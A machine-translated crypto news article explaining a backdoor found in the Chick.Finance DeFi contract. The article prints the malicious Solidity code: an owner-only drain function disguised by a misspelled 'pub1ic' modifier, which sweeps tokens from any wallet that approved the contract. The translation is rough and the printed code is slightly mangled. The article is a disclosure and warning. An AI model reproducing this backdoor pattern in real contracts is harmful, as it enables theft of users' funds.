How did Chick. Finance "steal" tokens through malicious contract code?
Original title: "A Detailed Analysis of the Malicious Contract Code for DeFi's Fluid-mining project Chick. Finance"
Source: Bee special
On August 24, YFII community core developers audited the contract for click.finance, an alternative Vault machine pool project, and found that modifer's contract code for chick.finance, a mobile mining project that will be launched, is different from the one displayed on GitHub. Modifer has been modified to "pub1ic", leaving the project in financial jeopardy.
Just now, YFII reported the risks of the Chick.Finance contract code, but the statement that developers have access to all tokens that users recharge is not entirely accurate, so we need to give you a more detailed description:
Contracts to the problem of malicious code is not that "developers can extract the user exists contract after the incident of tokens" (developers would do it), but in any contract to the authorized users, developers can put your wallet tokens, swept away (not just your deposit contract), which is safer than special laboratory in the article beforeEthereum Defi Ecology biggest current security concern"In the article" abuse of contractual authority ".
Function startReward(Address _from, Uint256 amount) external pub1ic{& NBSP; weth.safeTransferFrom(_from, owner(), amount); }
The developers have imposed the following restrictions on pub1ic that are intentionally misspelled (i.e. only the contract Owner can call it, if there is no such call, then everyone can do it, the developer wants to steal, so they don't want anyone else to steal).
modifier pub1ic() { require(isOwner(), "Ownable: caller is not the owner"); _; }
The logic of this code is very simple. What it does is that the user who has authorized the contract, the contract Owner can transfer your token to the Owner, and that's it.
This is a very serious incident in the DeFi ecosystem and should be taken seriously by the entire industry, because this time the malicious developers may just be misspelled in an attempt to fool everyone (public as Pub1ic) and get caught in the first place luckily. What about next time? Is it possible to write holes that are logically-complex and hard to spot, and wait for the line to wipe out your wallet? And again, in this case, you're not just losing the assets that you put into the contract, you're losing all the assets that you have in your wallet, okay?
When we asked the whole industry about "misuse of contract authority", we expected that developers would be evil, but the day came so soon. This time the code was disguised as stupid, but what about next time? Will the DeFi miners be able to hide next time?
Related reading:Warning: The chick.Finance contract for a liquid mining project is a fatal risk. Please do not participate"
Welcome to join the official BlockBeats community:
Telegram Subscription Group: https://t.me/theblockbeats
Telegram Discussion Group: https://t.me/BlockBeats_App
Official Twitter Account: https://twitter.com/BlockBeatsAsia
